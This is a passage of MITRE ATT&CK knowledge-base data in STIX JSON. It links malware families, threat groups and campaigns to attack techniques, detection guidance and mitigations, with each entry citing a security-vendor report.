2021)","relationship_type":"uses","source_ref":"malware--b5dc19b7-588d-403b-848d-c868bd61ffa1","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b5f6b196-576d-4f4e-be05-1923cbbd21a0","created":"2024-03-06T17:55:04.460Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Volexity Ivanti Zero-Day Exploitation January 2024","description":"Meltzer, M. et al. (2024, January 10). Active Exploitation of Two Zero-Day Vulnerabilities in Ivanti Connect Secure VPN. Retrieved February 27, 2024.","url":"https://www.volexity.com/blog/2024/01/10/active-exploitation-of-two-zero-day-vulnerabilities-in-ivanti-connect-secure-vpn/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-28T18:33:43.622Z","description":"During [Cutting Edge](https://attack.mitre.org/campaigns/C0029), threat actors moved laterally using compromised credentials to connect to internal Windows systems with SMB.(Citation: Volexity Ivanti Zero-Day Exploitation January 2024)","relationship_type":"uses","source_ref":"campaign--4fdd2487-26c1-494e-8702-ec5abe9aa1d9","target_ref":"attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b5f8197f-d703-461a-ba51-6e7749dd8367","type":"relationship","created":"2020-08-03T19:28:18.045Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Pascual, C. (2018, November 27). AutoIt-Compiled Worm Affecting Removable Media Delivers Fileless Version of BLADABINDI/njRAT Backdoor. Retrieved June 4, 2019.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/autoit-compiled-worm-affecting-removable-media-delivers-fileless-version-of-bladabindi-njrat-backdoor/","source_name":"Trend Micro njRAT 2018"}],"modified":"2020-10-08T18:47:57.839Z","description":"[njRAT](https://attack.mitre.org/software/S0385) has used HTTP to receive stolen information from the infected machine.(Citation: Trend Micro njRAT 2018)\t","relationship_type":"uses","source_ref":"malware--d906e6f7-434c-44c0-b51a-ed50af8f7945","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b6092abb-41b3-4aab-8e13-a7832bc60190","type":"relationship","created":"2022-03-30T14:26:51.842Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.842Z","description":"Monitor for an attempt by a user to gain access to a network or computing resource, often by providing credentials","source_ref":"x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e","target_ref":"attack-pattern--6151cbea-819b-455a-9fa6-99a1cc58797d","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b609347d-0089-4021-86a6-706ef1abc95e","type":"relationship","created":"2020-12-01T14:52:12.840Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NCC Group Team9 June 2020","url":"https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/","description":"Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020."}],"modified":"2020-12-01T14:52:12.840Z","description":"[Bazar](https://attack.mitre.org/software/S0534) can identify the username of the infected user.(Citation: NCC Group Team9 June 2020)","relationship_type":"uses","source_ref":"malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b60dcc78-83b0-4fe2-b874-6f22f99b6087","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"DFIR Phosphorus November 2021","description":"DFIR Report. (2021, November 15). Exchange Exploit Leads to Domain Wide Ransomware. Retrieved January 5, 2023.","url":"https://thedfirreport.com/2021/11/15/exchange-exploit-leads-to-domain-wide-ransomware/"},{"source_name":"DFIR Report APT35 ProxyShell March 2022","description":"DFIR Report. (2022, March 21). APT35 Automates Initial Access Using ProxyShell. Retrieved May 25, 2022.","url":"https://thedfirreport.com/2022/03/21/apt35-automates-initial-access-using-proxyshell"},{"source_name":"Unit 42 Magic Hound Feb 2017","description":"Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.","url":"https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-01-05T20:30:48.432Z","description":"[Magic Hound](https://attack.mitre.org/groups/G0059) malware has used a PowerShell command to check the victim system architecture to determine if it is an x64 machine. Other malware has obtained the OS version, UUID, and computer/host name to send to the C2 server.(Citation: Unit 42 Magic Hound Feb 2017)(Citation: DFIR Report APT35 ProxyShell March 2022)(Citation: DFIR Phosphorus November 2021)","relationship_type":"uses","source_ref":"intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b60f1f5c-c4ee-4959-afa2-2aa844275384","type":"relationship","created":"2022-03-30T14:26:51.846Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.846Z","description":"Monitoring OS API callbacks for the execution can also be a way to detect this behavior but requires specialized security tooling.","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--b84903f0-c7d5-435d-a69e-de47cc3578c0","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b6129b4d-09bd-46f6-b7c4-1500b0e61535","created":"2022-09-29T16:56:28.867Z","revoked":false,"external_references":[{"source_name":"DFIR Conti Bazar Nov 2021","description":"DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.","url":"https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-29T16:56:28.867Z","description":"During [C0015](https://attack.mitre.org/campaigns/C0015), the threat actors used `cmd.exe` to execute commands and run malicious binaries.(Citation: DFIR Conti Bazar Nov 2021)","relationship_type":"uses","source_ref":"campaign--78068e68-4124-4243-b6f4-76e4e5be8a06","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b61e25f5-89cd-4c64-90e6-15b8b21a3a10","created":"2021-01-22T20:35:21.925Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"NCC Group Chimera January 2021","description":"Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20230218064220/https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:24:40.427Z","description":"[Chimera](https://attack.mitre.org/groups/G0114) has used custom DLLs for continuous retrieval of data from memory.(Citation: NCC Group Chimera January 2021)","relationship_type":"uses","source_ref":"intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c","target_ref":"attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b61fb6ca-82b8-4928-8f1b-7a48645bd888","type":"relationship","created":"2020-03-29T20:34:24.708Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-09T03:18:18.601Z","description":"Proactively reset accounts that are known to be part of breached credentials either immediately, or after detecting bruteforce attempts.","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b620b0ce-baaf-4700-9454-92977c5172ce","type":"relationship","created":"2022-03-30T14:26:51.848Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.848Z","description":"Monitor executed commands and arguments for actions that could be utilized to unlink, rename, or delete files.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b620d7cd-34ef-402c-b8c2-e36c27162c63","created":"2024-05-20T21:26:10.047Z","revoked":false,"external_references":[{"source_name":"CISA AA24-038A PRC Critical Infrastructure February 2024","description":"CISA et al.. (2024, February 7). PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure. Retrieved May 15, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-03/aa24-038a_csa_prc_state_sponsored_actors_compromise_us_critical_infrastructure_3.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-20T21:26:10.047Z","description":"\n\n[Volt Typhoon](https://attack.mitre.org/groups/G1017) has targeted network administrator browser data including browsing history and stored credentials.(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)\n","relationship_type":"uses","source_ref":"intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2","target_ref":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b626d35a-2ddd-425a-97bc-84c328b57726","created":"2021-01-22T13:48:21.308Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"NCC Group Chimera January 2021","description":"Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20230218064220/https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:24:40.427Z","description":"(Citation: NCC Group Chimera January 2021)","relationship_type":"uses","source_ref":"intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c","target_ref":"tool--03342581-f790-4f03-ba41-e82e67392e23","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b62a2a23-884c-431d-9f08-911d9ba66d48","created":"2024-09-16T08:55:56.431Z","revoked":false,"external_references":[{"source_name":"Google Cloud APT41 2024","description":"Mike Stokkel et al. (2024, July 18). APT41 Has Arisen From the DUST. Retrieved September 16, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/apt41-arisen-from-dust"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-16T08:55:56.431Z","description":"[DUSTTRAP](https://attack.mitre.org/software/S1159) can enumerate running application windows.(Citation: Google Cloud APT41 2024)","relationship_type":"uses","source_ref":"malware--33139388-de0c-49ff-862a-041c315b142d","target_ref":"attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b62e23ad-28b5-43ba-b036-bf6a9cfa9d00","type":"relationship","created":"2022-03-30T14:26:51.862Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.862Z","description":"Monitor for changes made to processes that may inject portable executables (PE) into processes in order to evade process-based defenses as well as possibly elevate privileges.","source_ref":"x-mitre-data-component--d5fca4e4-e47a-487b-873f-3d22f8865e96","target_ref":"attack-pattern--806a49c4-970d-43f9-9acc-ac0ee11e6662","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b6336d7c-e869-4491-9e8a-5ea5847a58ae","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT35 2018","description":"Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018.","url":"https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf"}],"modified":"2020-03-17T16:30:07.362Z","description":"[Magic Hound](https://attack.mitre.org/groups/G0059) has collected .PST archives.(Citation: FireEye APT35 2018)","relationship_type":"uses","source_ref":"intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13","target_ref":"attack-pattern--1e9eb839-294b-48cc-b0d3-c45555a2a004","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b640dfee-9502-4ffb-92e4-f153f8726383","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT32 May 2017","description":"Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html"}],"modified":"2020-03-17T02:37:57.987Z","description":"[SOUNDBITE](https://attack.mitre.org/software/S0157) is capable of enumerating application windows.(Citation: FireEye APT32 May 2017)","relationship_type":"uses","source_ref":"malware--9ca488bd-9587-48ef-b923-1743523e63b2","target_ref":"attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b642368c-b543-471a-93f2-40af6ff94cbf","created":"2024-07-25T18:04:54.421Z","revoked":false,"external_references":[{"source_name":"ESET EvasivePanda 2024","description":"Ahn Ho, Facundo Muñoz, & Marc-Etienne M.Léveillé. (2024, March 7). Evasive Panda leverages Monlam Festival to target Tibetans. Retrieved July 25, 2024.","url":"https://www.welivesecurity.com/en/eset-research/evasive-panda-leverages-monlam-festival-target-tibetans/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-25T18:04:54.421Z","description":"[Daggerfly](https://attack.mitre.org/groups/G1034) utilizes victim machine operating system information to create custom User Agent strings for subsequent command and control communication.(Citation: ESET EvasivePanda 2024)","relationship_type":"uses","source_ref":"intrusion-set--f3be6240-f68e-47e1-90d2-ad8f3b3bb8a6","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b644de55-05f0-4e2e-93ee-db7915097ed1","type":"relationship","created":"2019-01-30T13:53:14.840Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET GreyEnergy Oct 2018","url":"https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf","description":"Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018."}],"modified":"2020-03-20T23:57:45.762Z","description":"[GreyEnergy](https://attack.mitre.org/software/S0342) encrypts communications using AES256.(Citation: ESET GreyEnergy Oct 2018)","relationship_type":"uses","source_ref":"malware--308b3d68-a084-4dfb-885a-3125e1a9c1e8","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b64f2e15-a8cb-4f18-b440-141779efc1fd","created":"2024-08-07T20:36:35.341Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant ROADSWEEP August 2022","description":"Jenkins, L. at al. (2022, August 4). ROADSWEEP Ransomware - Likely Iranian Threat Actor Conducts Politically Motivated Disruptive Activity Against Albanian Government Organizations. Retrieved August 6, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/likely-iranian-threat-actor-conducts-politically-motivated-disruptive-activity-against/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-07T20:44:22.487Z","description":"[CHIMNEYSWEEP](https://attack.mitre.org/software/S1149) can use `LoadLibrary` and `GetProcAddress` to resolve Windows API function strings at run time.(Citation: Mandiant ROADSWEEP August 2022)","relationship_type":"uses","source_ref":"malware--542e3384-341a-455b-bb48-4917b25e3b00","target_ref":"attack-pattern--ea4c2f9c-9df1-477c-8c42-6da1118f2ac4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b655c9e9-a6c1-42e9-9df7-60ab64b7f65a","type":"relationship","created":"2021-10-19T00:34:12.951Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"trendmicro xcsset xcode project 2020","url":"https://documents.trendmicro.com/assets/pdf/XCSSET_Technical_Brief.pdf","description":"Mac Threat Response, Mobile Research Team. (2020, August 13). The XCSSET Malware: Inserts Malicious Code Into Xcode Projects, Performs UXSS Backdoor Planting in Safari, and Leverages Two Zero-day Exploits. Retrieved October 5, 2021."}],"modified":"2021-10-19T00:34:12.951Z","description":"[XCSSET](https://attack.mitre.org/software/S0658) searches firewall configuration files located in /Library/Preferences/ and uses csrutil status to determine if System Integrity Protection is enabled.(Citation: trendmicro xcsset xcode project 2020)","relationship_type":"uses","source_ref":"malware--e14085cb-0e8d-4be6-92ba-e3b93ee5978f","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b65699be-5302-4e29-a3ac-978c82f29166","type":"relationship","created":"2022-03-30T14:26:51.850Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.850Z","description":"Monitor for newly constructed user accounts that may attempt to hide artifacts associated with their behaviors to evade detection.","source_ref":"x-mitre-data-component--deb22295-7e37-4a3b-ac6f-c86666fbe63d","target_ref":"attack-pattern--22905430-4901-4c2a-84f6-98243cb173f8","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b6583fd8-89f7-4494-8690-3456391bf193","type":"relationship","created":"2020-02-20T18:39:33.161Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-15T19:55:01.636Z","description":"Limit credential overlap across accounts and systems by training users and administrators not to use the same password for multiple accounts.","relationship_type":"mitigates","source_ref":"course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a","target_ref":"attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b65a3c77-5be9-4ccc-a995-029086cb53c4","type":"relationship","created":"2021-01-11T21:01:01.809Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 NETWIRE April 2020","url":"https://unit42.paloaltonetworks.com/guloader-installing-netwire-rat/","description":"Duncan, B. (2020, April 3). GuLoader: Malspam Campaign Installing NetWire RAT. Retrieved January 7, 2021."},{"source_name":"Medium Eli Salem GuLoader April 2021","url":"https://elis531989.medium.com/dancing-with-shellcodes-cracking-the-latest-version-of-guloader-75083fb15cb4","description":"Salem, E. (2021, April 19). Dancing With Shellcodes: Cracking the latest version of Guloader. Retrieved July 7, 2021."}],"modified":"2021-07-16T17:52:58.191Z","description":"[GuLoader](https://attack.mitre.org/software/S0561) can use HTTP to retrieve additional binaries.(Citation: Unit 42 NETWIRE April 2020)(Citation: Medium Eli Salem GuLoader April 2021)","relationship_type":"uses","source_ref":"malware--45c759ac-b490-48bb-80d4-c8eee3431027","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b65d643e-ff0b-4cf1-8c3f-7d31f39f2efb","created":"2020-12-14T17:34:58.762Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Nicolas Falliere, Liam O Murchu, Eric Chien February 2011","description":"Nicolas Falliere, Liam O Murchu, Eric Chien 2011, February W32.Stuxnet Dossier (Version 1.4) Retrieved. 2017/09/22 ","url":"https://www.wired.com/images_blogs/threatlevel/2011/02/Symantec-Stuxnet-Update-Feb-2011.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-17T18:19:33.011Z","description":"[Stuxnet](https://attack.mitre.org/software/S0603) enumerates user accounts of the local host.(Citation: Nicolas Falliere, Liam O Murchu, Eric Chien February 2011)","relationship_type":"uses","source_ref":"malware--088f1d6e-0783-47c6-9923-9c79b2af43d4","target_ref":"attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b660587b-40b7-4126-b656-605dbc745722","type":"relationship","created":"2022-03-30T14:26:51.860Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.860Z","description":"Monitor for newly constructed logon behavior that may “pass the ticket” using stolen Kerberos tickets to move laterally within an environment, bypassing normal system access controls.","source_ref":"x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5","target_ref":"attack-pattern--7b211ac6-c815-4189-93a9-ab415deca926","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b6609907-ec91-4339-a1ed-811bfe6ca48e","type":"relationship","created":"2021-09-21T15:10:56.103Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Secureworks GOLD KINGSWOOD September 2018","url":"https://www.secureworks.com/blog/cybercriminals-increasingly-trying-to-ensnare-the-big-financial-fish","description":"CTU. (2018, September 27). Cybercriminals Increasingly Trying to Ensnare the Big Financial Fish. Retrieved September 20, 2021."}],"modified":"2021-09-21T15:10:56.103Z","description":"[SpicyOmelette](https://attack.mitre.org/software/S0646) can identify payment systems, payment gateways, and ATM systems in compromised environments.(Citation: Secureworks GOLD KINGSWOOD September 2018)","relationship_type":"uses","source_ref":"malware--599cd7b5-37b5-4cdd-8174-2811531ce9d0","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b6714e64-3741-4d0a-9377-6aa743cda936","created":"2024-09-04T18:21:50.770Z","revoked":false,"external_references":[{"source_name":"Talos Manjusaka 2022","description":"Asheer Malhotra & Vitor Ventura. (2022, August 2). Manjusaka: A Chinese sibling of Sliver and Cobalt Strike. Retrieved September 4, 2024.","url":"https://blog.talosintelligence.com/manjusaka-offensive-framework/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-04T18:21:50.770Z","description":"[Manjusaka](https://attack.mitre.org/software/S1156) communication includes a client-created session cookie with base64-encoded information representing information from the victim system.(Citation: Talos Manjusaka 2022)","relationship_type":"uses","source_ref":"malware--dd2ad3d7-d7ef-4af5-a919-bfe8f2571705","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b673ba9b-3eb4-42fd-976d-62fc8d121cc3","type":"relationship","created":"2020-03-13T18:11:08.510Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/mattifestation/PowerSploit","description":"PowerSploit. (n.d.). Retrieved December 4, 2014.","source_name":"Powersploit"},{"source_name":"Microsoft Sxstrace","url":"https://docs.microsoft.com/windows-server/administration/windows-commands/sxstrace","description":"Gerend, J. et al.. (2017, October 16). sxstrace. Retrieved April 26, 2021."}],"modified":"2021-04-26T18:37:04.216Z","description":"Use auditing tools capable of detecting DLL search order hijacking opportunities on systems within an enterprise and correct them. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for DLL hijacking weaknesses.(Citation: Powersploit)\n\nUse the program sxstrace.exe that is included with Windows along with manual inspection to check manifest files for side-by-side problems in software.(Citation: Microsoft 